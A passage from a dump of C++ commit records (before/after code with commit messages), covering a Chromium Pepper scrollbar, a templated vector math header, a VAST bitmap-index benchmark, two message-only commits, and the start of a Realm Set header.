gfx_rect(rect->point.x,\n                     rect->point.y,\n                     rect->size.width,\n                     rect->size.height);\n  skia::PlatformCanvas* canvas = image->mapped_canvas();\n  if (!canvas)\n    return false;\n  scrollbar_->paint(webkit_glue::ToWebCanvas(canvas), gfx_rect);\n\n#if defined(OS_WIN)\n  if (win_util::GetWinVersion() == win_util::WINVERSION_XP) {\n    canvas->getTopPlatformDevice().makeOpaque(\n        gfx_rect.x(), gfx_rect.y(), gfx_rect.width(), gfx_rect.height());\n  }\n#endif\n\n  return true;\n}\n\nbool Scrollbar::HandleEvent(const PP_Event* event) {\n  scoped_ptr<WebInputEvent> web_input_event(CreateWebInputEvent(*event));\n  if (!web_input_event.get())\n    return false;\n\n  return scrollbar_->handleInputEvent(*web_input_event.get());\n}\n\nvoid Scrollbar::SetLocationInternal(const PP_Rect* location) {\n  scrollbar_->setLocation(WebRect(location->point.x,\n                                  location->point.y,\n                                  location->size.width,\n                                  location->size.height));\n}\n\nvoid Scrollbar::valueChanged(WebKit::WebScrollbar* scrollbar) {\n  const PPP_Scrollbar* ppp_scrollbar = static_cast<const PPP_Scrollbar*>(\n      module()->GetPluginInterface(PPP_SCROLLBAR_INTERFACE));\n  if (!ppp_scrollbar)\n    return;\n  ScopedResourceId resource(this);\n  ppp_scrollbar->ValueChanged(\n      instance()->GetPPInstance(), resource.id, scrollbar_->value());\n}\n\nvoid Scrollbar::invalidateScrollbarRect(WebKit::WebScrollbar* scrollbar,\n                                        const WebKit::WebRect& rect) {\n  gfx::Rect gfx_rect(rect.x,\n                     rect.y,\n                     rect.width,\n                     rect.height);\n  dirty_ = dirty_.Union(gfx_rect);\n  \/\/ Can't call into the client to tell them about the invalidate right away,\n  \/\/ since the Scrollbar code is still in the middle of updating its internal\n  \/\/ state.\n  MessageLoop::current()->PostTask(\n      FROM_HERE,\n      NewRunnableMethod(this, &Scrollbar::NotifyInvalidate));\n}\n\nvoid Scrollbar::getTickmarks(\n    WebKit::WebScrollbar* scrollbar,\n    WebKit::WebVector<WebKit::WebRect>* tick_marks) const {\n  if (tickmarks_.empty()) {\n    WebRect* rects = NULL;\n    tick_marks->assign(rects, 0);\n  } else {\n    tick_marks->assign(&tickmarks_[0], tickmarks_.size());\n  }\n}\n\nvoid Scrollbar::NotifyInvalidate() {\n  if (dirty_.IsEmpty())\n    return;\n  PP_Rect pp_rect;\n  pp_rect.point.x = dirty_.x();\n  pp_rect.point.y = dirty_.y();\n  pp_rect.size.width = dirty_.width();\n  pp_rect.size.height = dirty_.height();\n  dirty_ = gfx::Rect();\n  Invalidate(&pp_rect);\n}\n\n}  \/\/ namespace pepper\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <math.h>\n#include <stdlib.h>\n\n\/\/ base vector struct\ntemplate <int n> struct Vec {\n    float v[n];\n\n    float& operator[]( const int i ) {\n        return this->v[i];\n    }\n\n    const float& operator[]( const int i ) const {\n        return this->v[i];\n    }\n};\n\ntypedef Vec<2> Vec2;\ntypedef Vec<3> Vec3;\ntypedef Vec<4> Vec4;\n\n\/\/ specialized definitions for Vec2, Vec3, and Vec4\ntemplate<> struct Vec<2> {\n    union {\n        float vals[2];\n        struct { float x, y; };\n        struct { float r, g; };\n        struct { float u, v; };\n    };\n\n    Vec( float _x, float _y )\n        : x( _x ) , y( _y ) {}\n\n    Vec()\n        : x( 0 ), y ( 0 ) {}\n\n    float& operator[]( const int i ) {\n        return this->vals[i];\n    }\n\n    const float& operator[]( const int i ) const {\n        return this->vals[i];\n    }\n};\n\ntemplate<> struct Vec<3> {\n    union {\n        float v[3];\n        struct { float x, y, z; };\n        struct { float r, g, b; };\n        Vec<2> xy;\n    };\n\n    Vec( float _x, float _y, float _z )\n        : x( _x ), y( _y ), z( _z ) {}\n\n    Vec()\n        : x( 0 ), y( 0 ), z( 0 ) {}\n\n    float& operator[]( const int i ) {\n        return this->v[i];\n    }\n\n    const float& operator[]( const int i ) const {\n        return this->v[i];\n    }\n};\n\ntemplate<> struct Vec<4> {\n    union {\n        float v[4];\n        struct { float x, y, z, w; };\n        struct { float r, g, b, a; };\n        Vec<2> xy;\n        Vec<3> xyz;\n        Vec<3> rgb;\n    };\n\n    Vec( float _x, float _y, float _z, float _w )\n        : x( _x ), y( _y ), z( _z ), w( _w ) {}\n\n    Vec()\n        : x( 0 ), y( 0 ), z( 0 ), w( 1 ) {}\n\n    float& operator[]( const int i ) {\n        return this->v[i];\n    }\n\n    const float& operator[]( const int i ) const {\n        return this->v[i];\n    }\n};\n\n\/\/ generic operators\ntemplate <int n> Vec<n>  operator+          ( const Vec<n> lhs , const Vec<n> rhs );\ntemplate <int n> Vec<n>& operator+=         ( Vec<n>& lhs      , const Vec<n> rhs );\ntemplate <int n> Vec<n>  operator-          ( const Vec<n> lhs , const Vec<n> rhs );\ntemplate <int n> Vec<n>& operator-=         ( Vec<n>& lhs      , const Vec<n> rhs );\ntemplate <int n> Vec<n>  operator*          ( const Vec<n> lhs , const Vec<n> rhs );\ntemplate <int n> Vec<n>& operator*=         ( Vec<n>& lhs      , const Vec<n> rhs );\ntemplate <int n> Vec<n>  operator*          ( const Vec<n> lhs , const float rhs  );\ntemplate <int n> Vec<n>& operator*=         ( Vec<n>& lhs      , const float rhs  );\ntemplate <int n> Vec<n>  operator*          ( const float lhs  , const Vec<n> rhs );\ntemplate <int n> Vec<n>  operator\/          ( const Vec<n> lhs , const Vec<n> rhs );\ntemplate <int n> Vec<n>& operator\/=         ( Vec<n>& lhs      , const Vec<n> rhs );\ntemplate <int n> Vec<n>  operator\/          ( const Vec<n> lhs , const float rhs  );\ntemplate <int n> Vec<n>& operator\/=         ( Vec<n>& lhs      , const float rhs  );\ntemplate <int n> Vec<n>  operator^          ( const Vec<n> lhs , const Vec<n> rhs );\ntemplate <int n> Vec<n>& operator^=         ( Vec<n>& lhs      , const Vec<n> rhs );\ntemplate <int n> Vec<n>  operator^          ( const Vec<n> lhs , const float rhs  );\ntemplate <int n> Vec<n>& operator^=         ( Vec<n>& lhs      , const float rhs  );\n\n\/\/ vector-specific operations\ntemplate <int n> float   dot                ( const Vec<n> lhs, const Vec<n> rhs );\ntemplate <int n> Vec<n>  cross              ( const Vec<n> lhs, const Vec<n> rhs );\ntemplate <int n> float   cross2D            ( const Vec<n> lhs, const Vec<n> rhs ); \/\/ only for vec2s\ntemplate <int n> float   lengthsq           ( const Vec<n> in );\ntemplate <int n> float   length             ( const Vec<n> in );\ntemplate <int n> Vec<n>  normalize          ( const Vec<n> in );\n\n\/\/ free-floating constructors\ntemplate <int n> Vec<n>  zero               ( void );\ntemplate <int n> void    zero               ( Vec<n>& in_out );\n\n\/\/ user should seed with srand() before calling random constructors\ntemplate <int n> Vec<n>  randomOnSphere ( float radius = 1.f );\ntemplate <int n> void    randomOnSphere ( Vec<n>& in_out, float radius = 1.f );\n\n\/\/ generic operator definitions\ntemplate <int n>\nVec<n> operator+ ( const Vec<n> lhs, const Vec<n> rhs ) {\n    Vec<n> sum;\n    for ( int i = 0; i < n; i++ ) {\n        sum[i] = lhs[i] + rhs[i];\n    }\n    return sum;\n}\n\ntemplate <int n>\nVec<n>& operator+= ( Vec<n>& lhs, const Vec<n> rhs ) {\n    for ( int i = 0; i < n; i++ ) {\n        lhs[i] += rhs[i];\n    }\n    return lhs;\n}\n\ntemplate <int n>\nVec<n> operator- ( const Vec<n> lhs, const Vec<n> rhs ) {\n    Vec<n> difference;\n    for ( int i = 0; i < n; i++ ) {\n        difference[i] = lhs[i] - rhs[i];\n    }\n    return difference;\n}\n\ntemplate <int n>\nVec<n>& operator-= ( Vec<n>& lhs, const Vec<n> rhs ) {\n    for ( int i = 0; i < n; i++ ) {\n        lhs[i] -= rhs[i];\n    }\n    return lhs;\n}\n\ntemplate <int n>\nVec<n> operator* ( const Vec<n> lhs, const Vec<n> rhs ) {\n    Vec<n> product;\n    for ( int i = 0; i < n; i++ ) {\n        product[i] = lhs[i] * rhs[i];\n    }\n    return product;\n}\n\ntemplate <int n>\nVec<n>& operator*= ( Vec<n>& lhs, const Vec<n> rhs ) {\n    for ( int i = 0; i < n; i++ ) {\n        lhs[i] *= rhs[i];\n    }\n    return lhs;\n}\n\ntemplate <int n>\nVec<n> operator* ( const Vec<n> lhs, const float rhs ) {\n    Vec<n> scaled;\n    for ( int i = 0; i < n; i++ ) {\n        scaled[i] = lhs[i] * rhs;\n    }\n    return scaled;\n}\n\ntemplate <int n>\nVec<n>& operator*= ( Vec<n>& lhs, const float rhs ) {\n    for ( int i = 0; i < n; i++ ) {\n        lhs[i] *= rhs;\n    }\n    return lhs;\n}\n\ntemplate <int n>\nVec<n> operator* ( const float lhs, const Vec<n> rhs ) {\n    return operator*( rhs, lhs );\n}\n\ntemplate <int n>\nVec<n> operator\/ ( const Vec<n> lhs, const Vec<n> rhs ) {\n    Vec<n> quotient;\n    for ( int i = 0; i < n; i++ ) {\n        quotient[i] = lhs[i] \/ rhs[i];\n    }\n    return quotient;\n}\n\ntemplate <int n>\nVec<n>& operator\/= ( Vec<n>& lhs, const Vec<n> rhs ) {\n    for ( int i = 0; i < n; i++ ) {\n        lhs[i] \/= rhs[i];\n    }\n    return lhs;\n}\n\ntemplate <int n>\nVec<n> operator\/ ( const Vec<n> lhs, const float rhs ) {\n    Vec<n> scaled;\n    for ( int i = 0; i < n; i++ ) {\n        scaled[i] = lhs[i] \/ rhs;\n    }\n    return scaled;\n}\n\ntemplate <int n>\nVec<n>& operator\/= ( Vec<n>& lhs, const float rhs ) {\n    for ( int i = 0; i < n; i++ ) {\n        lhs[i] \/= rhs;\n    }\n    return lhs;\n}\n\ntemplate <int n>\nVec<n>& operator^= ( Vec<n>& lhs, const Vec<n> rhs ) {\n    for ( int i = 0; i < n; i++ ) {\n        lhs[i] = pow( lhs[i], rhs[i] );\n    }\n    return lhs;\n}\n\ntemplate <int n>\nVec<n> operator^ ( const Vec<n> lhs, const Vec<n> rhs ) {\n    Vec<n> raised;\n    for ( int i = 0; i < n; i++ ) {\n        raised[i] = pow( lhs[i], rhs[i] );\n    }\n    return raised;\n}\n\ntemplate <int n>\nVec<n>& operator^= ( Vec<n>& lhs, const float rhs ) {\n    for ( int i = 0; i < n; i++ ) {\n        lhs[i] = pow( lhs[i], rhs );\n    }\n    return lhs;\n}\n\ntemplate <int n>\nVec<n> operator^ ( const Vec<n> lhs, const float rhs ) {\n    Vec<n> raised;\n    for ( int i = 0; i < n; i++ ) {\n        raised[i] = pow( lhs[i], rhs );\n    }\n    return raised;\n}\n\ntemplate <int n>\nfloat dot( const Vec<n> lhs, const Vec<n> rhs ) {\n    float dp = 0.f;\n    for ( int i = 0; i < n; i++ ) {\n        dp += lhs[i] * rhs[i];\n    }\n    return dp;\n}\n\ntemplate <int n>\nfloat lengthsq( const Vec<n> in ) {\n    float sum = 0.f;\n    for ( int i = 0; i < n; i++ ) {\n        sum += in[i] * in[i];\n    }\n    return sum;\n}\n\ntemplate <int n>\nfloat length( const Vec<n> in ) {\n    return sqrt( lengthsq( in ) );\n}\n\ntemplate <int n>\nVec<n> normalize( const Vec<n> in ) {\n    return in \/ length( in );\n}\n\ntemplate <int n>\nVec<n> cross( const Vec<n> lhs, const Vec<n> rhs ) {\n    static_assert( n == 3, \"cross only defined for Vec<3>!\" );\n    return { lhs[1] * rhs[2] - lhs[2] * rhs[1]\n           , lhs[2] * rhs[0] - lhs[0] * rhs[2]\n           , lhs[0] * rhs[1] - lhs[1] * rhs[0] };\n}\n\ntemplate <int n>\nfloat cross2D( const Vec<n> lhs, const Vec<n> rhs ) {\n    static_assert( n == 2, \"cross2D only defined for Vec<2>!\" );\n    return lhs[0] * rhs[1] - lhs[1] * rhs[0];\n}\n\ntemplate <int n>\nVec<n> zero() {\n    Vec<n> out;\n    for ( int i = 0; i < n; i++ ) {\n        out[i] = 0;\n    }\n    return out;\n}\n\ntemplate <int n>\nvoid zero( Vec<n>& in_out ) {\n    for ( int i = 0; i < n; i++ ) {\n        in_out[i] = 0;\n    }\n}\n\ntemplate <int n>\nVec<n> randomOnSphere( float radius ) {\n    Vec<n> out;\n    for ( int i = 0; i < n; i++ ) {\n        out[i] = static_cast<float>( rand() ) \/ RAND_MAX;\n    }\n    out *= ( radius \/ length( out ) );\n    return out;\n}\n\ntemplate <int n>\nvoid randomOnSphere( Vec<n>& in_out, float radius ) {\n    for ( int i = 0; i < n; i++ ) {\n        in_out[i] = static_cast<float>( rand() ) \/ RAND_MAX;\n    }\n    in_out *= ( radius \/ length( in_out ) );\n}\n<commit_msg>use drand48()<commit_after>#pragma once\n\n#include <math.h>\n#include <stdlib.h>\n\n\/\/ base vector struct\ntemplate <int n> struct Vec {\n    float v[n];\n\n    float& operator[]( const int i ) {\n        return this->v[i];\n    }\n\n    const float& operator[]( const int i ) const {\n        return this->v[i];\n    }\n};\n\ntypedef Vec<2> Vec2;\ntypedef Vec<3> Vec3;\ntypedef Vec<4> Vec4;\n\n\/\/ specialized definitions for Vec2, Vec3, and Vec4\ntemplate<> struct Vec<2> {\n    union {\n        float vals[2];\n        struct { float x, y; };\n        struct { float r, g; };\n        struct { float u, v; };\n    };\n\n    Vec( float _x, float _y )\n        : x( _x ) , y( _y ) {}\n\n    Vec()\n        : x( 0 ), y ( 0 ) {}\n\n    float& operator[]( const int i ) {\n        return this->vals[i];\n    }\n\n    const float& operator[]( const int i ) const {\n        return this->vals[i];\n    }\n};\n\ntemplate<> struct Vec<3> {\n    union {\n        float v[3];\n        struct { float x, y, z; };\n        struct { float r, g, b; };\n        Vec<2> xy;\n    };\n\n    Vec( float _x, float _y, float _z )\n        : x( _x ), y( _y ), z( _z ) {}\n\n    Vec()\n        : x( 0 ), y( 0 ), z( 0 ) {}\n\n    float& operator[]( const int i ) {\n        return this->v[i];\n    }\n\n    const float& operator[]( const int i ) const {\n        return this->v[i];\n    }\n};\n\ntemplate<> struct Vec<4> {\n    union {\n        float v[4];\n        struct { float x, y, z, w; };\n        struct { float r, g, b, a; };\n        Vec<2> xy;\n        Vec<3> xyz;\n        Vec<3> rgb;\n    };\n\n    Vec( float _x, float _y, float _z, float _w )\n        : x( _x ), y( _y ), z( _z ), w( _w ) {}\n\n    Vec()\n        : x( 0 ), y( 0 ), z( 0 ), w( 1 ) {}\n\n    float& operator[]( const int i ) {\n        return this->v[i];\n    }\n\n    const float& operator[]( const int i ) const {\n        return this->v[i];\n    }\n};\n\n\/\/ generic operators\ntemplate <int n> Vec<n>  operator+          ( const Vec<n> lhs , const Vec<n> rhs );\ntemplate <int n> Vec<n>& operator+=         ( Vec<n>& lhs      , const Vec<n> rhs );\ntemplate <int n> Vec<n>  operator-          ( const Vec<n> lhs , const Vec<n> rhs );\ntemplate <int n> Vec<n>& operator-=         ( Vec<n>& lhs      , const Vec<n> rhs );\ntemplate <int n> Vec<n>  operator*          ( const Vec<n> lhs , const Vec<n> rhs );\ntemplate <int n> Vec<n>& operator*=         ( Vec<n>& lhs      , const Vec<n> rhs );\ntemplate <int n> Vec<n>  operator*          ( const Vec<n> lhs , const float rhs  );\ntemplate <int n> Vec<n>& operator*=         ( Vec<n>& lhs      , const float rhs  );\ntemplate <int n> Vec<n>  operator*          ( const float lhs  , const Vec<n> rhs );\ntemplate <int n> Vec<n>  operator\/          ( const Vec<n> lhs , const Vec<n> rhs );\ntemplate <int n> Vec<n>& operator\/=         ( Vec<n>& lhs      , const Vec<n> rhs );\ntemplate <int n> Vec<n>  operator\/          ( const Vec<n> lhs , const float rhs  );\ntemplate <int n> Vec<n>& operator\/=         ( Vec<n>& lhs      , const float rhs  );\ntemplate <int n> Vec<n>  operator^          ( const Vec<n> lhs , const Vec<n> rhs );\ntemplate <int n> Vec<n>& operator^=         ( Vec<n>& lhs      , const Vec<n> rhs );\ntemplate <int n> Vec<n>  operator^          ( const Vec<n> lhs , const float rhs  );\ntemplate <int n> Vec<n>& operator^=         ( Vec<n>& lhs      , const float rhs  );\n\n\/\/ vector-specific operations\ntemplate <int n> float   dot                ( const Vec<n> lhs, const Vec<n> rhs );\ntemplate <int n> Vec<n>  cross              ( const Vec<n> lhs, const Vec<n> rhs );\ntemplate <int n> float   cross2D            ( const Vec<n> lhs, const Vec<n> rhs ); \/\/ only for vec2s\ntemplate <int n> float   lengthsq           ( const Vec<n> in );\ntemplate <int n> float   length             ( const Vec<n> in );\ntemplate <int n> Vec<n>  normalize          ( const Vec<n> in );\n\n\/\/ free-floating constructors\ntemplate <int n> Vec<n>  zero               ( void );\ntemplate <int n> void    zero               ( Vec<n>& in_out );\n\n\/\/ user should seed with srand() before calling random constructors\ntemplate <int n> Vec<n>  randomOnSphere ( float radius = 1.f );\ntemplate <int n> void    randomOnSphere ( Vec<n>& in_out, float radius = 1.f );\n\n\/\/ generic operator definitions\ntemplate <int n>\nVec<n> operator+ ( const Vec<n> lhs, const Vec<n> rhs ) {\n    Vec<n> sum;\n    for ( int i = 0; i < n; i++ ) {\n        sum[i] = lhs[i] + rhs[i];\n    }\n    return sum;\n}\n\ntemplate <int n>\nVec<n>& operator+= ( Vec<n>& lhs, const Vec<n> rhs ) {\n    for ( int i = 0; i < n; i++ ) {\n        lhs[i] += rhs[i];\n    }\n    return lhs;\n}\n\ntemplate <int n>\nVec<n> operator- ( const Vec<n> lhs, const Vec<n> rhs ) {\n    Vec<n> difference;\n    for ( int i = 0; i < n; i++ ) {\n        difference[i] = lhs[i] - rhs[i];\n    }\n    return difference;\n}\n\ntemplate <int n>\nVec<n>& operator-= ( Vec<n>& lhs, const Vec<n> rhs ) {\n    for ( int i = 0; i < n; i++ ) {\n        lhs[i] -= rhs[i];\n    }\n    return lhs;\n}\n\ntemplate <int n>\nVec<n> operator* ( const Vec<n> lhs, const Vec<n> rhs ) {\n    Vec<n> product;\n    for ( int i = 0; i < n; i++ ) {\n        product[i] = lhs[i] * rhs[i];\n    }\n    return product;\n}\n\ntemplate <int n>\nVec<n>& operator*= ( Vec<n>& lhs, const Vec<n> rhs ) {\n    for ( int i = 0; i < n; i++ ) {\n        lhs[i] *= rhs[i];\n    }\n    return lhs;\n}\n\ntemplate <int n>\nVec<n> operator* ( const Vec<n> lhs, const float rhs ) {\n    Vec<n> scaled;\n    for ( int i = 0; i < n; i++ ) {\n        scaled[i] = lhs[i] * rhs;\n    }\n    return scaled;\n}\n\ntemplate <int n>\nVec<n>& operator*= ( Vec<n>& lhs, const float rhs ) {\n    for ( int i = 0; i < n; i++ ) {\n        lhs[i] *= rhs;\n    }\n    return lhs;\n}\n\ntemplate <int n>\nVec<n> operator* ( const float lhs, const Vec<n> rhs ) {\n    return operator*( rhs, lhs );\n}\n\ntemplate <int n>\nVec<n> operator\/ ( const Vec<n> lhs, const Vec<n> rhs ) {\n    Vec<n> quotient;\n    for ( int i = 0; i < n; i++ ) {\n        quotient[i] = lhs[i] \/ rhs[i];\n    }\n    return quotient;\n}\n\ntemplate <int n>\nVec<n>& operator\/= ( Vec<n>& lhs, const Vec<n> rhs ) {\n    for ( int i = 0; i < n; i++ ) {\n        lhs[i] \/= rhs[i];\n    }\n    return lhs;\n}\n\ntemplate <int n>\nVec<n> operator\/ ( const Vec<n> lhs, const float rhs ) {\n    Vec<n> scaled;\n    for ( int i = 0; i < n; i++ ) {\n        scaled[i] = lhs[i] \/ rhs;\n    }\n    return scaled;\n}\n\ntemplate <int n>\nVec<n>& operator\/= ( Vec<n>& lhs, const float rhs ) {\n    for ( int i = 0; i < n; i++ ) {\n        lhs[i] \/= rhs;\n    }\n    return lhs;\n}\n\ntemplate <int n>\nVec<n>& operator^= ( Vec<n>& lhs, const Vec<n> rhs ) {\n    for ( int i = 0; i < n; i++ ) {\n        lhs[i] = pow( lhs[i], rhs[i] );\n    }\n    return lhs;\n}\n\ntemplate <int n>\nVec<n> operator^ ( const Vec<n> lhs, const Vec<n> rhs ) {\n    Vec<n> raised;\n    for ( int i = 0; i < n; i++ ) {\n        raised[i] = pow( lhs[i], rhs[i] );\n    }\n    return raised;\n}\n\ntemplate <int n>\nVec<n>& operator^= ( Vec<n>& lhs, const float rhs ) {\n    for ( int i = 0; i < n; i++ ) {\n        lhs[i] = pow( lhs[i], rhs );\n    }\n    return lhs;\n}\n\ntemplate <int n>\nVec<n> operator^ ( const Vec<n> lhs, const float rhs ) {\n    Vec<n> raised;\n    for ( int i = 0; i < n; i++ ) {\n        raised[i] = pow( lhs[i], rhs );\n    }\n    return raised;\n}\n\ntemplate <int n>\nfloat dot( const Vec<n> lhs, const Vec<n> rhs ) {\n    float dp = 0.f;\n    for ( int i = 0; i < n; i++ ) {\n        dp += lhs[i] * rhs[i];\n    }\n    return dp;\n}\n\ntemplate <int n>\nfloat lengthsq( const Vec<n> in ) {\n    float sum = 0.f;\n    for ( int i = 0; i < n; i++ ) {\n        sum += in[i] * in[i];\n    }\n    return sum;\n}\n\ntemplate <int n>\nfloat length( const Vec<n> in ) {\n    return sqrt( lengthsq( in ) );\n}\n\ntemplate <int n>\nVec<n> normalize( const Vec<n> in ) {\n    return in \/ length( in );\n}\n\ntemplate <int n>\nVec<n> cross( const Vec<n> lhs, const Vec<n> rhs ) {\n    static_assert( n == 3, \"cross only defined for Vec<3>!\" );\n    return { lhs[1] * rhs[2] - lhs[2] * rhs[1]\n           , lhs[2] * rhs[0] - lhs[0] * rhs[2]\n           , lhs[0] * rhs[1] - lhs[1] * rhs[0] };\n}\n\ntemplate <int n>\nfloat cross2D( const Vec<n> lhs, const Vec<n> rhs ) {\n    static_assert( n == 2, \"cross2D only defined for Vec<2>!\" );\n    return lhs[0] * rhs[1] - lhs[1] * rhs[0];\n}\n\ntemplate <int n>\nVec<n> zero() {\n    Vec<n> out;\n    for ( int i = 0; i < n; i++ ) {\n        out[i] = 0;\n    }\n    return out;\n}\n\ntemplate <int n>\nvoid zero( Vec<n>& in_out ) {\n    for ( int i = 0; i < n; i++ ) {\n        in_out[i] = 0;\n    }\n}\n\ntemplate <int n>\nVec<n> randomOnSphere( float radius ) {\n    Vec<n> out;\n    for ( int i = 0; i < n; i++ ) {\n        out[i] = drand48();\n    }\n    out *= ( radius \/ length( out ) );\n    return out;\n}\n\ntemplate <int n>\nvoid randomOnSphere( Vec<n>& in_out, float radius ) {\n    for ( int i = 0; i < n; i++ ) {\n        in_out[i] = drand48();\n    }\n    in_out *= ( radius \/ length( in_out ) );\n}\n<|endoftext|>"}
{"text":"<commit_before>\n#include <cmath>\n#include <chrono>\n#include <random>\n#include <vector>\n#include <cassert>\n#include <fstream>\n#include <iomanip>\n#include <numeric>\n#include <sstream>\n#include <iostream>\n#include <algorithm>\n\n#include \"caf\/all.hpp\"\n\n#include \"vast\/coder.hpp\"\n#include \"vast\/operator.hpp\"\n#include \"vast\/wah_bitmap.hpp\"\n#include \"vast\/bitmap_index.hpp\"\n\n#include \"vast\/concept\/printable\/stream.hpp\"\n#include \"vast\/concept\/printable\/to_string.hpp\"\n#include \"vast\/concept\/printable\/vast\/bitmap.hpp\"\n\nusing namespace std;\nusing namespace std::chrono;\nusing namespace caf;\nusing namespace vast;\n\nclass config : public actor_system_config {\npublic:\n  string filename = \"\";\n  uint32_t bound = 0;\n  bool print_results;\n  config() {\n    opt_group{custom_options_, \"global\"}\n    .add(filename, \"data-file,f\", \"File with test data (one value per line)\")\n    .add(bound, \"bound,b\", \"maximum value (0 will scan values)\")\n    .add(print_results, \"print,p\", \"print resulting bitmap index\");\n  }\n};\n\nvoid caf_main(actor_system&, const config& cfg) {\n  vector<uint32_t> values;\n  if (cfg.filename.empty()) {\n    values = {10,  7, 22,  6,  7,  1,  9, 42,  2,  5,\n              13,  3,  2,  1,  0,  1, 18, 18,  3, 13,\n               5,  9,  0,  3,  2, 19,  5, 23, 22, 10,\n               6, 22};\n  } else {\n    cout << \"Reading data from '\" << cfg.filename << \"' ... \" << flush;\n    ifstream source{cfg.filename, std::ios::in};\n    uint32_t next;\n    while (source >> next) {\n      values.push_back(next);\n    }\n  }\n  auto amount = values.size();\n  cout << \"Read \" << amount << \" values.\" << endl;\n  auto bound = cfg.bound;\n  if (bound == 0 && amount > 0) {\n    auto itr = max_element(values.begin(), values.end());\n    bound = *itr;\n  }\n  cout << \"Maximum value is '\" << bound << \"'.\" << endl;\n\n  \/\/ Extract key set\n  vector<uint32_t> keys = values;\n  std::sort(keys.begin(), keys.end());\n  auto last = std::unique(keys.begin(), keys.end());\n  keys.erase(last, end(keys));\n\n  auto start = high_resolution_clock::now();\n  bitmap_index<uint32_t, equality_coder<wah_bitmap>> bmi{bound + 1};\n  for (auto& val : values)\n    bmi.push_back(val);\n  auto stop = high_resolution_clock::now();\n\n  if (cfg.print_results) {\n    \/\/ print index by key\n    auto& coder = bmi.coder();\n    auto& storage = coder.storage();\n    for (auto& key : keys)\n      cout << \"Index for value \" << key << \":\" << endl\n           << storage[key] << endl;\n  }\n  cout << \"Time: '\"\n       << duration_cast<milliseconds>(stop - start).count()\n       << \"' ms\" << endl;\n}\n\nCAF_MAIN()\n<commit_msg>Print coder directly<commit_after>\n#include <cmath>\n#include <chrono>\n#include <random>\n#include <vector>\n#include <cassert>\n#include <fstream>\n#include <iomanip>\n#include <numeric>\n#include <sstream>\n#include <iostream>\n#include <algorithm>\n\n#include \"caf\/all.hpp\"\n\n#include \"vast\/coder.hpp\"\n#include \"vast\/operator.hpp\"\n#include \"vast\/wah_bitmap.hpp\"\n#include \"vast\/bitmap_index.hpp\"\n\n#include \"vast\/concept\/printable\/stream.hpp\"\n#include \"vast\/concept\/printable\/to_string.hpp\"\n#include \"vast\/concept\/printable\/vast\/coder.hpp\"\n#include \"vast\/concept\/printable\/vast\/bitmap.hpp\"\n\nusing namespace std;\nusing namespace std::chrono;\nusing namespace caf;\nusing namespace vast;\n\nclass config : public actor_system_config {\npublic:\n  string filename = \"\";\n  uint32_t bound = 0;\n  bool print_results;\n  config() {\n    opt_group{custom_options_, \"global\"}\n    .add(filename, \"data-file,f\", \"File with test data (one value per line)\")\n    .add(bound, \"bound,b\", \"maximum value (0 will scan values)\")\n    .add(print_results, \"print,p\", \"print resulting bitmap index\");\n  }\n};\n\nvoid caf_main(actor_system&, const config& cfg) {\n  vector<uint32_t> values;\n  if (cfg.filename.empty()) {\n    values = {10,  7, 22,  6,  7,  1,  9, 42,  2,  5,\n              13,  3,  2,  1,  0,  1, 18, 18,  3, 13,\n               5,  9,  0,  3,  2, 19,  5, 23, 22, 10,\n               6, 22};\n  } else {\n    cout << \"Reading data from '\" << cfg.filename << \"' ... \" << flush;\n    ifstream source{cfg.filename, std::ios::in};\n    uint32_t next;\n    while (source >> next) {\n      values.push_back(next);\n    }\n  }\n  auto amount = values.size();\n  cout << \"Read \" << amount << \" values.\" << endl;\n  auto bound = cfg.bound;\n  if (bound == 0 && amount > 0) {\n    auto itr = max_element(values.begin(), values.end());\n    bound = *itr;\n  }\n  cout << \"Maximum value is '\" << bound << \"'.\" << endl;\n\n  \/*\n  \/\/ Extract key set\n  vector<uint32_t> keys = values;\n  std::sort(keys.begin(), keys.end());\n  auto last = std::unique(keys.begin(), keys.end());\n  keys.erase(last, end(keys));\n  *\/\n\n  auto start = high_resolution_clock::now();\n  bitmap_index<uint32_t, equality_coder<wah_bitmap>> bmi{bound + 1};\n  for (auto& val : values)\n    bmi.push_back(val);\n  auto stop = high_resolution_clock::now();\n\n  if (cfg.print_results) {\n    \/\/ print index by key\n    auto& coder = bmi.coder();\n    cout << coder << endl;\n    \/*\n    auto& storage = coder.storage();\n    for (auto& key : keys)\n      cout << \"Index for value \" << key << \":\" << endl\n           << storage[key] << endl;\n    *\/\n  }\n  cout << \"Time: '\"\n       << duration_cast<milliseconds>(stop - start).count()\n       << \"' ms\" << endl;\n}\n\nCAF_MAIN()\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>landing the issue 482008 for dmuir<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Use the SecInvalidateHandle and SecIsValidHandle macros to reset and test a CredHandle.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n * Copyright 2020 Realm Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n **************************************************************************\/\n\n#ifndef REALM_SET_HPP\n#define REALM_SET_HPP\n\n#include <realm\/collection.hpp>\n\n#include <numeric> \/\/ std::iota\n\nnamespace realm {\n\nclass SetBase : public CollectionBase {\npublic:\n    using CollectionBase::CollectionBase;\n\n    virtual ~SetBase() {}\n    SetBasePtr clone() const\n    {\n        return m_obj.get_setbase_ptr(m_col_key);\n    }\n\n    virtual void insert_null() = 0;\n    virtual void erase_null() = 0;\n    virtual void clear() = 0;\n\nprotected:\n    void clear_repl(Replication* repl) const;\n};\n\ntemplate <class T>\nclass Set : public Collection<T, SetBase> {\npublic:\n    using Collection<T, SetBase>::m_tree;\n    using Collection<T, SetBase>::size;\n    using Collection<T, SetBase>::begin;\n    using Collection<T, SetBase>::end;\n    using Collection<T, SetBase>::get;\n\n    Set() = default;\n    Set(const Obj& owner, ColKey col_key);\n\n    \/\/\/ Insert a value into the set if it does not already exist, returning the index of the inserted value,\n    \/\/\/ or the index of the already-existing value.\n    size_t insert(T value);\n\n    \/\/\/ Find the index of a value in the set, or `size_t(-1)` if it is not in the set.\n    size_t find(T value) const;\n\n    \/\/\/ Erase an element from the set, returning the index at which it was removed, or `size_t(-1)` if it did\n    \/\/\/ not exist.\n    size_t 